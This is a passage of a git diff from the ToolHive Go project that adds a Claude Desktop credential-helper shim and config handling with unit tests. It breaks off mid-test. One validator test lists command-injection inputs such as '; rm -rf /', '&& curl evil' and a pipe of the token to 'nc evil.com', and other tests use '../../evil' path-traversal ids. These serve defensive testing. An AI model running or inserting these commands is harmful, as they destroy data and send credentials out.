runtime.GOOS == "windows" { + // The shim is a POSIX /bin/sh script — consistent with the rest of the + // LLM gateway token-helper feature, which is POSIX-only (see + // buildTokenHelperCommand in pkg/llm). Windows support is a follow-up. + return "", fmt.Errorf("claude-desktop LLM gateway setup is not supported on Windows yet") + } + + metaPath := cm.buildLLMSettingsPath(appCfg) + dir := filepath.Dir(metaPath) + if err := os.MkdirAll(dir, 0o700); err != nil { + return "", fmt.Errorf("creating %s: %w", dir, err) + } + + // Reuse the shared AnthropicBaseURL resolution (falls back to GatewayURL) so + // this stays in sync with direct-mode clients if the rule ever changes. + baseURL, _ := resolveApplyConfigField("AnthropicBaseURL", cfg) + + // Write the shim, config document, and _meta.json selector all inside the + // lock so concurrent setup/teardown runs cannot interleave — e.g. one run's + // failure-cleanup deleting a shim another run's committed config depends on. + // _meta.json is written last, so a mid-write failure never leaves Claude + // Desktop pointing at our config; best-effort cleanup then removes the + // unreferenced files it created. + var configPath string + err := fileutils.WithFileLock(metaPath, func() error { + // Track whether the shim already existed so failure cleanup does not + // delete a shim an earlier successful setup still depends on. + shimExisted := fileExistsAt(cm.credentialHelperShimPath()) + shimPath, err := cm.writeCredentialHelperShim(cfg.TokenHelperCommand) + if err != nil { + return err + } + cleanup := func(cp string) { + if !shimExisted { + _ = os.Remove(shimPath) + } + if cp != "" { + _ = os.Remove(cp) + } + } + + meta, err := readClaudeDesktopMeta(metaPath) + if err != nil { + cleanup("") + return err + } + id := metaEntryID(meta, claudeDesktopManagedEntryName) + if id == "" { + id = uuid.NewString() + } + // Upsert by name so an existing (possibly malformed) "ToolHive Gateway" + // entry is corrected in place rather than leaving a duplicate — preserving + // the idempotency the stable name is there to provide. + meta["entries"] = upsertMetaEntry(metaEntries(meta), id, claudeDesktopManagedEntryName) + meta["appliedId"] = id + + doc := claudeDesktopConfig{ + InferenceProvider: "gateway", + InferenceGatewayBaseURL: baseURL, + InferenceGatewayAuthScheme: "bearer", + InferenceCredentialKind: claudeDesktopCredentialKind, + InferenceCredentialHelper: shimPath, + InferenceCredentialHelperTtlSec: int(llmgateway.ClaudeDesktopHelperTTL.Seconds()), + InferenceCredentialHelperTimeoutSec: int(llmgateway.ClaudeDesktopHelperTimeout.Seconds()), + InferenceModels: cfg.Models, + } + docBytes, err := json.MarshalIndent(doc, "", " ") + if err != nil { + cleanup("") + return fmt.Errorf("encoding Claude Desktop config: %w", err) + } + cp := filepath.Join(dir, id+".json") + if err := fileutils.AtomicWriteFile(cp, docBytes, 0o600); err != nil { + cleanup(cp) + return fmt.Errorf("writing %s: %w", cp, err) + } + if err := writeClaudeDesktopMeta(metaPath, meta); err != nil { + cleanup(cp) + return err + } + configPath = cp + return nil + }) + if err != nil { + return "", err + } + return configPath, nil +} + +// revertCredentialHelper undoes configureCredentialHelper: it removes ToolHive's +// entry from _meta.json (leaving other entries untouched), clears appliedId when +// it pointed at our config, deletes the config document, and removes the shim. +// A missing file at any step is treated as already-reverted. +// +// Ordering matters: the selector (_meta.json) is de-referenced and the config +// document deleted BEFORE the shim, so a mid-revert failure never leaves Claude +// Desktop pointing at a config that references a missing helper executable. Any +// leftover file after a partial failure is unreferenced and harmless. +func (cm *ClientManager) revertCredentialHelper(appCfg *clientAppConfig, configPath string) error { + // Nothing recorded to revert. Do NOT touch the shim here: without the config + // path we cannot confirm _meta.json no longer references it, and removing it + // could break a still-applied config. + if configPath == "" { + return nil + } + // Derive the configLibrary dir from appCfg (not from configPath) so a + // tampered stored configPath cannot redirect teardown at an arbitrary + // directory. The config document must live inside this dir. + metaPath := cm.buildLLMSettingsPath(appCfg) + dir := filepath.Dir(metaPath) + if !fileExistsAt(dir) { + // Config directory already gone — nothing to revert. + return nil + } + + id := metaIDFromConfigPath(configPath) + if !isSafeConfigID(id) { + // Symmetric with configureCredentialHelper: a corrupted or hand-edited + // stored configPath whose id is not a bare filename is treated as + // already-reverted rather than risk unlinking through it. + return nil + } + // Reconstruct the expected path and require the stored configPath to match + // it. os.Remove follows symlinks, so a stored path outside configLibrary + // (or a symlink inside it) must not let teardown unlink an arbitrary file. + expectedPath := filepath.Join(dir, id+".json") + if configPath != expectedPath { + return nil + } + shimPath := cm.credentialHelperShimPath() + + // All steps run under the metaPath lock so a concurrent setup/teardown cannot + // interleave. Ordering: de-reference _meta.json, delete the config document, + // then remove the shim last — so a mid-revert failure never leaves Claude + // Desktop pointing at a config whose helper is gone. + return fileutils.WithFileLock(metaPath, func() error { + if fileExistsAt(metaPath) { + meta, err := readClaudeDesktopMeta(metaPath) + if err != nil { + return err + } + meta["entries"] = removeMetaEntry(metaEntries(meta), id) + // Only clear appliedId if it still points at our config; leave a + // user's own active config selection alone. + applied, ok := meta["appliedId"].(string) + if !ok && meta["appliedId"] != nil { + slog.Warn("Claude Desktop _meta.json has a non-string appliedId; leaving it unchanged", + "path", metaPath) + } + if applied == id { + meta["appliedId"] = "" + } + if err := writeClaudeDesktopMeta(metaPath, meta); err != nil { + return err + } + } + if err := removeIfExists(configPath); err != nil { + return err + } + if err := os.Remove(shimPath); err != nil && !os.IsNotExist(err) { + return fmt.Errorf("removing credential helper shim %s: %w", shimPath, err) + } + return nil + }) +} + +// credentialHelperShimPath is the fixed location of the generated shim. +func (cm *ClientManager) credentialHelperShimPath() string { + return filepath.Join(cm.homeDir, ".toolhive", "llm", "claude-desktop-helper.sh") +} + +// writeCredentialHelperShim generates the no-arg executable that Claude Desktop +// invokes as its inferenceCredentialHelper. Claude Desktop requires an absolute +// path to an executable (no arguments), whereas tokenHelperCommand is a shell +// command string (e.g. `"…thv" llm token`); the shim bridges the two. +// +// Claude Desktop sets CLAUDE_HELPER_CONTEXT on each call. Only "interactive" +// permits an OIDC browser flow; silent contexts (background / setup-test / +// mid-session-refresh) must not hijack the user's browser, so they use +// --skip-browser and rely on the cached/refresh token that "thv llm setup" +// primed up front. +func (cm *ClientManager) writeCredentialHelperShim(tokenHelperCommand string) (string, error) { + if tokenHelperCommand == "" { + return "", fmt.Errorf("no token-helper command available for credential helper shim") + } + if !isSafeTokenHelperCommand(tokenHelperCommand) { + // Defence in depth: the producer (buildTokenHelperCommand) is shell-safe + // today, but the writer must not silently emit an injectable 0700 script + // if a future caller constructs tokenHelperCommand differently. + return "", fmt.Errorf("refusing to write credential helper shim: token-helper command is not shell-safe") + } + shimPath := cm.credentialHelperShimPath() + if err := os.MkdirAll(filepath.Dir(shimPath), 0o700); err != nil { + return "", fmt.Errorf("creating credential helper directory: %w", err) + } + script := "#!/bin/sh\n" + + "# Generated by `thv llm setup` — Claude Desktop credential helper.\n" + + "# Prints a fresh LLM gateway token. Do not edit; `thv llm teardown` removes it.\n" + + "if [ \"$CLAUDE_HELPER_CONTEXT\" = \"interactive\" ]; then\n" + + " exec " + tokenHelperCommand + "\n" + + "fi\n" + + "exec " + tokenHelperCommand + " --skip-browser\n" + if err := fileutils.AtomicWriteFile(shimPath, []byte(script), 0o700); err != nil { + return "", fmt.Errorf("writing credential helper shim %s: %w", shimPath, err) + } + return shimPath, nil +} + +// isSafeTokenHelperCommand reports whether tokenHelperCommand matches the shape +// produced by buildTokenHelperCommand: a double-quoted path followed by the +// literal args "llm token", with no shell metacharacters that could break out +// of the exec line the shim concatenates. The shim is a 0700 /bin/sh script +// built by string concatenation, so a caller-supplied command containing ";", +// "&", "|", "`", "$", "#", or newlines would be stored command injection. +// +// buildTokenHelperCommand (pkg/llm/setup.go) is shell-safe today — it rejects +// paths containing those characters before formatting — but TokenHelperCommand +// is exposed as a general ApplyConfig field consumed by multiple writers. This +// check makes the shim writer fail closed on any command it cannot prove safe, +// rather than trusting every future caller to uphold the contract. +func isSafeTokenHelperCommand(tokenHelperCommand string) bool { + if tokenHelperCommand == "" { + return false + } + for _, r := range tokenHelperCommand { + switch r { + case ';', '&', '|', '`', '$', '#', '\n', '\r': + return false + } + } + // Must be a double-quoted path followed by exactly " llm token". + if len(tokenHelperCommand) < 2 || tokenHelperCommand[0] != '"' { + return false + } + closeQuote := strings.IndexByte(tokenHelperCommand[1:], '"') + if closeQuote == -1 { + return false + } + return tokenHelperCommand[2+closeQuote:] == " llm token" +} + +// managedProfilePresent reports whether an MDM/managed-preferences profile for +// the given plist domain is present. A managed profile overrides a client's +// local config, so "thv llm setup" warns when one is detected (the local config +// it writes would be ignored). macOS only; returns false elsewhere or when the +// client declares no managed-profile domain. +func managedProfilePresent(domain string) bool { + if domain == "" || runtime.GOOS != "darwin" { + return false + } + return managedProfileExistsUnder(managedPreferencesRoot, domain) +} + +// managedPreferencesRoot is the macOS managed-preferences directory. A package +// variable (not a const) so tests can point it at a temp directory. +var managedPreferencesRoot = "/Library/Managed Preferences" + +// managedProfileExistsUnder reports whether a managed-preferences plist for +// domain exists directly under root or under a per-user subdirectory +// (root//domain). Platform-independent so it is unit-testable. +func managedProfileExistsUnder(root, domain string) bool { + if _, err := os.Stat(filepath.Join(root, domain)); err == nil { + return true + } + matches, _ := filepath.Glob(filepath.Join(root, "*", domain)) + return len(matches) > 0 +} + +// ── _meta.json helpers ───────────────────────────────────────────────────── + +// readClaudeDesktopMeta reads _meta.json into a generic map so unknown keys are +// preserved on write-back. A missing or empty file yields a fresh selector. +func readClaudeDesktopMeta(path string) (map[string]any, error) { + data, err := os.ReadFile(path) // #nosec G304 -- known config file location + if err != nil { + if os.IsNotExist(err) { + return map[string]any{"appliedId": "", "entries": []any{}}, nil + } + return nil, fmt.Errorf("reading %s: %w", path, err) + } + if len(data) == 0 { + return map[string]any{"appliedId": "", "entries": []any{}}, nil + } + var meta map[string]any + if err := json.Unmarshal(data, &meta); err != nil { + return nil, fmt.Errorf("parsing %s: %w", path, err) + } + if meta == nil { + meta = map[string]any{} + } + // Guard the "valid JSON, wrong shape" case: if entries is present but not a + // JSON array, bail rather than silently dropping it — metaEntries would treat + // it as empty and a subsequent append would overwrite the user's data. + if e, ok := meta["entries"]; ok && e != nil { + if _, isArray := e.([]any); !isArray { + return nil, fmt.Errorf("parsing %s: %q must be a JSON array", path, "entries") + } + } + return meta, nil +} + +// writeClaudeDesktopMeta encodes meta and writes it atomically. +func writeClaudeDesktopMeta(path string, meta map[string]any) error { + data, err := json.MarshalIndent(meta, "", " ") + if err != nil { + return fmt.Errorf("encoding %s: %w", path, err) + } + if err := fileutils.AtomicWriteFile(path, data, 0o600); err != nil { + return fmt.Errorf("writing %s: %w", path, err) + } + return nil +} + +// metaEntries returns the entries slice from meta, or an empty slice. +func metaEntries(meta map[string]any) []any { + entries, _ := meta["entries"].([]any) + return entries +} + +// metaEntryID returns the id of the entry with the given name, or "" if absent. +// _meta.json lives in a directory Claude Desktop and users also write to, so the +// stored id is untrusted: an unsafe value is treated as absent so the caller +// mints a fresh, safe UUID rather than joining a path-traversing id into the +// configLibrary path. See isSafeConfigID. +func metaEntryID(meta map[string]any, name string) string { + for _, e := range metaEntries(meta) { + entry, ok := e.(map[string]any) + if !ok { + continue + } + if n, _ := entry["name"].(string); n == name { + id, _ := entry["id"].(string) + if !isSafeConfigID(id) { + return "" + } + return id + } + } + return "" +} + +// isSafeConfigID reports whether id is a bare filename safe to join into the +// configLibrary path — non-empty, no path separators, and no "..". Guards +// against a corrupted or hand-edited _meta.json entry escaping configLibrary. +func isSafeConfigID(id string) bool { + return id != "" && filepath.Base(id) == id && !strings.Contains(id, "..") +} + +// upsertMetaEntry sets the id of the entry with the given name if one exists +// (correcting a malformed or stale same-name entry in place), or appends a new +// entry otherwise. Prevents duplicate ToolHive-owned entries. +func upsertMetaEntry(entries []any, id, name string) []any { + for _, e := range entries { + entry, ok := e.(map[string]any) + if !ok { + continue + } + if n, _ := entry["name"].(string); n == name { + entry["id"] = id + return entries + } + } + return append(entries, map[string]any{"id": id, "name": name}) +} + +// removeMetaEntry returns entries with the entry matching id removed. +func removeMetaEntry(entries []any, id string) []any { + out := make([]any, 0, len(entries)) + for _, e := range entries { + if entry, ok := e.(map[string]any); ok { + if eid, _ := entry["id"].(string); eid == id { + continue + } + } + out = append(out, e) + } + return out +} + +// metaIDFromConfigPath derives the config id from a ".json" path. +func metaIDFromConfigPath(configPath string) string { + base := filepath.Base(configPath) + return base[:len(base)-len(filepath.Ext(base))] +} + +// fileExistsAt reports whether a file exists at path. +func fileExistsAt(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +// removeIfExists deletes path, treating a missing file as success. +func removeIfExists(path string) error { + if err := os.Remove(path); err != nil && !os.IsNotExist(err) { + return fmt.Errorf("removing %s: %w", path, err) + } + return nil +} diff --git a/pkg/client/llm_gateway_credential_helper_test.go b/pkg/client/llm_gateway_credential_helper_test.go new file mode 100644 index 0000000000..b1ed008238 --- /dev/null +++ b/pkg/client/llm_gateway_credential_helper_test.go @@ -0,0 +1,398 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/stacklok/toolhive/pkg/llmgateway" +) + +// newClaudeDesktopManager returns a ClientManager rooted at a temp home with the +// real Claude Desktop integration, plus the resolved configLibrary metaPath. +func newClaudeDesktopManager(t *testing.T) (*ClientManager, string) { + t.Helper() + home := t.TempDir() + cm := NewTestClientManager(home, nil, supportedClientIntegrations, nil) + cfg := cm.lookupClientAppConfig(ClientApp(ClaudeDesktop)) + require.NotNil(t, cfg, "ClaudeDesktop must be a supported integration") + require.Equal(t, llmgateway.ModeCredentialHelper, cfg.LLMGatewayMode, "ClaudeDesktop must use the credential-helper model") + return cm, cm.buildLLMSettingsPath(cfg) +} + +// readMeta decodes _meta.json. +func readMeta(t *testing.T, metaPath string) map[string]any { + t.Helper() + data, err := os.ReadFile(metaPath) // #nosec G304 -- test-controlled path + require.NoError(t, err) + var meta map[string]any + require.NoError(t, json.Unmarshal(data, &meta)) + return meta +} + +// readConfigDoc decodes a .json config document. +func readConfigDoc(t *testing.T, path string) claudeDesktopConfig { + t.Helper() + data, err := os.ReadFile(path) // #nosec G304 -- test-controlled path + require.NoError(t, err) + var doc claudeDesktopConfig + require.NoError(t, json.Unmarshal(data, &doc)) + return doc +} + +func claudeDesktopApplyCfg() llmgateway.ApplyConfig { + return llmgateway.ApplyConfig{ + GatewayURL: "https://gw.example.com", + AnthropicBaseURL: "https://gw.example.com/anthropic", + TokenHelperCommand: `"thv" llm token`, + } +} + +func TestConfigureCredentialHelper_WritesConfigMetaAndShim(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + cfg := claudeDesktopApplyCfg() + cfg.Models = []string{"claude-opus-4-8", "claude-sonnet-4-6"} + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), cfg) + require.NoError(t, err) + + // Config document contents. + doc := readConfigDoc(t, configPath) + assert.Equal(t, "gateway", doc.InferenceProvider) + assert.Equal(t, "helper-script", doc.InferenceCredentialKind) + assert.Equal(t, "bearer", doc.InferenceGatewayAuthScheme) + assert.Equal(t, "https://gw.example.com/anthropic", doc.InferenceGatewayBaseURL) + assert.Equal(t, []string{"claude-opus-4-8", "claude-sonnet-4-6"}, doc.InferenceModels) + assert.Equal(t, int(llmgateway.ClaudeDesktopHelperTTL.Seconds()), doc.InferenceCredentialHelperTtlSec) + assert.Equal(t, int(llmgateway.ClaudeDesktopHelperTimeout.Seconds()), doc.InferenceCredentialHelperTimeoutSec) + + // Shim: executable, references the token command, and silent contexts skip + // the browser. + shimPath := cm.credentialHelperShimPath() + assert.Equal(t, shimPath, doc.InferenceCredentialHelper) + info, err := os.Stat(shimPath) + require.NoError(t, err) + assert.Equal(t, os.FileMode(0o700), info.Mode().Perm()) + shim, err := os.ReadFile(shimPath) // #nosec G304 -- test-controlled path + require.NoError(t, err) + assert.Contains(t, string(shim), `"thv" llm token`) + assert.Contains(t, string(shim), "--skip-browser") + + // _meta.json selects our config by the config document's id. + id := strings.TrimSuffix(filepath.Base(configPath), ".json") + meta := readMeta(t, metaPath) + assert.Equal(t, id, meta["appliedId"]) + assert.Equal(t, id, metaEntryID(meta, claudeDesktopManagedEntryName)) +} + +func TestConfigureCredentialHelper_OmitsModelsWhenEmpty(t *testing.T) { + t.Parallel() + cm, _ := newClaudeDesktopManager(t) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + // The key must be absent (not an empty array) so Claude Desktop falls back to + // gateway-side auto-discovery. + data, err := os.ReadFile(configPath) // #nosec G304 -- test-controlled path + require.NoError(t, err) + assert.NotContains(t, string(data), "inferenceModels") +} + +func TestConfigureCredentialHelper_IsIdempotent(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + first, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + second, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + // Same stable id reused — no orphaned config documents or duplicate entries. + assert.Equal(t, first, second, "repeated setup must reuse the same config id") + meta := readMeta(t, metaPath) + assert.Len(t, metaEntries(meta), 1, "repeated setup must not duplicate the ToolHive entry") +} + +func TestConfigureCredentialHelper_PreservesForeignEntries(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + // Seed a user-owned config the way Claude Desktop's own UI would. + require.NoError(t, os.MkdirAll(filepath.Dir(metaPath), 0o700)) + seed := map[string]any{ + "appliedId": "user-config", + "entries": []any{ + map[string]any{"id": "user-config", "name": "My Bedrock"}, + }, + } + seedBytes, err := json.Marshal(seed) + require.NoError(t, err) + require.NoError(t, os.WriteFile(metaPath, seedBytes, 0o600)) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + meta := readMeta(t, metaPath) + // Our entry is added and selected; the user's entry survives untouched. + id := strings.TrimSuffix(filepath.Base(configPath), ".json") + assert.Equal(t, id, meta["appliedId"]) + assert.Len(t, metaEntries(meta), 2) + assert.Equal(t, "user-config", metaEntryID(meta, "My Bedrock")) +} + +func TestRevertCredentialHelper_RemovesEntryConfigAndShim(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + shimPath := cm.credentialHelperShimPath() + + require.NoError(t, cm.RevertLLMGateway(ClientApp(ClaudeDesktop), configPath)) + + // Config document and shim are gone; entry removed; appliedId cleared because + // it pointed at our config. + assert.NoFileExists(t, configPath) + assert.NoFileExists(t, shimPath) + meta := readMeta(t, metaPath) + assert.Empty(t, metaEntries(meta)) + assert.Equal(t, "", meta["appliedId"]) +} + +func TestConfigureCredentialHelper_RejectsPathTraversalID(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + dir := filepath.Dir(metaPath) + + // Seed _meta.json with a ToolHive-named entry whose id escapes configLibrary, + // as a corrupted/hand-edited file might. + require.NoError(t, os.MkdirAll(dir, 0o700)) + seed := map[string]any{ + "appliedId": "../../evil", + "entries": []any{ + map[string]any{"id": "../../evil", "name": claudeDesktopManagedEntryName}, + }, + } + seedBytes, err := json.Marshal(seed) + require.NoError(t, err) + require.NoError(t, os.WriteFile(metaPath, seedBytes, 0o600)) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + // The tainted id must be rejected: the written config stays inside + // configLibrary and appliedId points at a fresh, safe id — not the escape. + assert.Equal(t, dir, filepath.Dir(configPath), "config document must stay inside configLibrary") + id := strings.TrimSuffix(filepath.Base(configPath), ".json") + assert.True(t, isSafeConfigID(id), "minted id must be a safe bare filename") + meta := readMeta(t, metaPath) + assert.Equal(t, id, meta["appliedId"], "appliedId must point at the safe minted id, not the traversal value") + assert.NoFileExists(t, filepath.Join(dir, "..", "..", "evil.json"), "must not write outside configLibrary") +} + +func TestRevertCredentialHelper_EmptyConfigPathLeavesShim(t *testing.T) { + t.Parallel() + cm, _ := newClaudeDesktopManager(t) + + _, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + shimPath := cm.credentialHelperShimPath() + require.FileExists(t, shimPath) + + // With no recorded config path we cannot confirm _meta.json no longer + // references the shim, so revert must be a no-op and leave it in place rather + // than risk breaking a still-applied config. + require.NoError(t, cm.RevertLLMGateway(ClientApp(ClaudeDesktop), "")) + assert.FileExists(t, shimPath, "shim must not be deleted when configPath is empty") +} + +func TestRevertCredentialHelper_LeavesForeignAppliedIDIntact(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + // Simulate the user re-selecting their own config after setup. + meta := readMeta(t, metaPath) + meta["appliedId"] = "user-config" + meta["entries"] = append(metaEntries(meta), map[string]any{"id": "user-config", "name": "My Bedrock"}) + writeBytes, err := json.Marshal(meta) + require.NoError(t, err) + require.NoError(t, os.WriteFile(metaPath, writeBytes, 0o600)) + + require.NoError(t, cm.RevertLLMGateway(ClientApp(ClaudeDesktop), configPath)) + + meta = readMeta(t, metaPath) + // Our entry is removed but the user's active selection is left alone. + assert.Equal(t, "user-config", meta["appliedId"]) + assert.Len(t, metaEntries(meta), 1) + assert.Equal(t, "user-config", metaEntryID(meta, "My Bedrock")) +} + +// TestRevertCredentialHelper_RejectsUnsafeConfigPath proves the revert-side +// guards refuse to unlink through a tampered stored configPath (os.Remove +// follows symlinks). A stored path outside configLibrary — or one with a +// traversal segment — must be treated as already-reverted, not deleted. +// Each case gets its own sentinel file so subtests run in parallel safely. +func TestRevertCredentialHelper_RejectsUnsafeConfigPath(t *testing.T) { + t.Parallel() + cm, _ := newClaudeDesktopManager(t) + // configLibrary must exist so revert reaches the guard rather than + // early-returning on a missing dir. + require.NoError(t, os.MkdirAll( + filepath.Join(cm.homeDir, "Library", "Application Support", "Claude-3p", "configLibrary"), 0o700)) + + cases := []struct { + name string + stored string + }{ + {"absolute path outside configLibrary", filepath.Join(t.TempDir(), "do-not-delete.txt")}, + {"traversal segment", filepath.Join(cm.homeDir, "..", "evil.json")}, + {"deeper traversal", filepath.Join(cm.homeDir, "..", "..", "evil.json")}, + } + for _, tc := range cases { + tc := tc + // Each subtest owns its own sentinel so parallelism is safe. + require.NoError(t, os.WriteFile(tc.stored, []byte("sentinel"), 0o600)) + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + require.NoError(t, cm.RevertLLMGateway(ClientApp(ClaudeDesktop), tc.stored)) + assert.FileExists(t, tc.stored, "teardown must not unlink a tampered configPath") + }) + } +} + +// TestWriteCredentialHelperShim_RejectsUnsafeCommand proves the shim writer +// fails closed on any tokenHelperCommand it cannot prove is shell-safe, rather +// than emitting an injectable 0700 /bin/sh script. buildTokenHelperCommand is +// shell-safe today; this guards against a future caller that isn't. +func TestWriteCredentialHelperShim_RejectsUnsafeCommand(t *testing.T) { + t.Parallel() + cm := &ClientManager{homeDir: t.TempDir()} + + unsafe := []string{ + `"thv" llm token; rm -rf /`, // trailing command via ; + `"thv" llm token #`, // trailing comment + `"thv" llm token && curl evil`, // chained command + `"thv" llm token|nc evil.com`, // pipe to external process + `"thv" llm token` + "\n" + `rm -rf /`, // embedded newline + `unquoted path llm token`, // missing leading double-quote + `"thv" llm tokn`, // wrong suffix (not " llm token") + } + for _, cmd := range unsafe { + t.Run(cmd, func(t *testing.T) { + t.Parallel() + _, err := cm.writeCredentialHelperShim(cmd) + require.Error(t, err, "expected rejection of %q", cmd) + assert.Contains(t, err.Error(), "shell-safe") + }) + } + + // The shape buildTokenHelperCommand actually produces is accepted. + _, err := cm.writeCredentialHelperShim(`"/bin/thv" llm token`) + require.NoError(t, err) +} + +func TestConfigureCredentialHelper_CleansUpOnWriteFailure(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + // First setup succeeds: creates the entry, config document, and shim. + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + shimPath := cm.credentialHelperShimPath() + require.FileExists(t, shimPath) + _ = metaPath + + // Force the config-document write to fail on the next (idempotent) setup: + // replace the config document with a non-empty directory at the same path. + // The reused id targets it and AtomicWriteFile cannot overwrite a directory, + // so the in-lock cleanup path runs. + require.NoError(t, os.Remove(configPath)) + require.NoError(t, os.MkdirAll(configPath, 0o700)) + require.NoError(t, os.WriteFile(filepath.Join(configPath, "block"), []byte("x"), 0o600)) + + _, err = cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.Error(t, err, "setup must fail when the config document cannot be written") + + // Cleanup must NOT delete the shim an earlier successful setup created + // (only a shim minted in the same failed call is removed). + assert.FileExists(t, shimPath, "cleanup must preserve a pre-existing shim on failure") +} + +func TestManagedProfileExistsUnder(t *testing.T) { + t.Parallel() + const domain = "com.anthropic.claudefordesktop.plist" + + t.Run("absent", func(t *testing.T) { + t.Parallel() + assert.False(t, managedProfileExistsUnder(t.TempDir(), domain)) + }) + t.Run("direct path", func(t *testing.T) { + t.Parallel() + root := t.TempDir() + require.NoError(t, os.WriteFile(filepath.Join(root, domain), []byte("x"), 0o600)) + assert.True(t, managedProfileExistsUnder(root, domain)) + }) + t.Run("per-user subdir", func(t *testing.T) { + t.Parallel() + root := t.TempDir() + userDir := filepath.Join(root, "alice") + require.NoError(t, os.MkdirAll(userDir, 0o700)) + require.NoError(t, os.WriteFile(filepath.Join(userDir, domain), []byte("x"), 0o600)) + assert.True(t, managedProfileExistsUnder(root, domain)) + }) +} + +func TestConfigureCredentialHelper_RejectsNonArrayEntries(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + // Valid JSON but wrong shape: entries is an object, not an array. Setup must + // bail rather than silently drop it (which would overwrite user data). + require.NoError(t, os.MkdirAll(filepath.Dir(metaPath), 0o700)) + require.NoError(t, os.WriteFile(metaPath, []byte(`{"appliedId":"","entries":{"oops":true}}`), 0o600)) + + _, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.Error(t, err, "setup must fail when _meta.json entries is not an array") + assert.Contains(t, err.Error(), "entries") +} + +func TestConfigureCredentialHelper_NonStringIDDoesNotDuplicate(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + // A name-matching entry with a non-string id must be corrected in place, not + // left alongside a freshly minted duplicate "ToolHive Gateway" entry. + require.NoError(t, os.MkdirAll(filepath.Dir(metaPath), 0o700)) + seed := map[string]any{ + "appliedId": "", + "entries": []any{ + map[string]any{"id": 123, "name": claudeDesktopManagedEntryName}, + }, + } + seedBytes, err := json.Marshal(seed) + require.NoError(t, err) + require.NoError(t, os.WriteFile(metaPath, seedBytes, 0o600)) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + meta := readMeta(t, metaPath) + assert.Len(t, metaEntries(meta), 1, "malformed same-name entry must be corrected in place, not duplicated") + id := strings.TrimSuffix(filepath.Base(configPath), ".json") + assert.Equal(t, id, meta["appliedId"]) + assert.Equal(t, id, metaEntryID(meta, claudeDesktopManagedEntryName)) +} diff --git a/pkg/client/llm_gateway_test.go b/pkg/client/llm_gateway_test.go index 434723d7d4..be751e2a09 100644 --- a/pkg/client/llm_gateway_test.go +++ b/pkg/client/llm_gateway_test.go @@ -5,6 +5,7 @@ package client import ( "encoding/json" + "errors" "os" "path/filepath" "strings" @@ -170,6 +171,66 @@ func TestRealClientConfigs_ConfigureAndRevert(t *testing.T) { // ── helpers ─────────────────────────────────────────────────────────────────── +// TestConfigureLLMGateway_ClaudeCodeBedrock verifies that BedrockCompat writes +// CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 and the three per-tier model IDs into +// Claude Code's settings.json, and that without BedrockCompat those keys are +// absent (the ClearWhenEmpty behaviour), all against the real config table. +func TestConfigureLLMGateway_ClaudeCodeBedrock(t *testing.T) { + t.Parallel() + + bedrockPointers := map[string]string{ + "/env/CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1", + "/env/ANTHROPIC_DEFAULT_HAIKU_MODEL": "us.anthropic.claude-haiku-x", + "/env/ANTHROPIC_DEFAULT_OPUS_MODEL": "us.anthropic.claude-opus-x[1m]", + "/env/ANTHROPIC_DEFAULT_SONNET_MODEL": "us.anthropic.claude-sonnet-x[1m]", + } + + t.Run("BedrockCompat writes keys", func(t *testing.T) { + t.Parallel() + home := t.TempDir() + cm := NewTestClientManager(home, nil, supportedClientIntegrations, nil) + require.NoError(t, os.MkdirAll(filepath.Join(home, ".claude"), 0o700)) + + path, err := cm.ConfigureLLMGateway(ClaudeCode, llmgateway.ApplyConfig{ + GatewayURL: "https://gw.example.com", + TokenHelperCommand: `"thv" llm token`, + BedrockCompat: true, + BedrockHaikuModel: "us.anthropic.claude-haiku-x", + BedrockOpusModel: "us.anthropic.claude-opus-x[1m]", + BedrockSonnetModel: "us.anthropic.claude-sonnet-x[1m]", + }) + require.NoError(t, err) + + data, err := os.ReadFile(path) + require.NoError(t, err) + for ptr, want := range bedrockPointers { + got, ok := jsonPointerGet(data, ptr) + assert.True(t, ok, "pointer %q missing", ptr) + assert.Equal(t, want, got, "wrong value at %q", ptr) + } + }) + + t.Run("without BedrockCompat keys are absent", func(t *testing.T) { + t.Parallel() + home := t.TempDir() + cm := NewTestClientManager(home, nil, 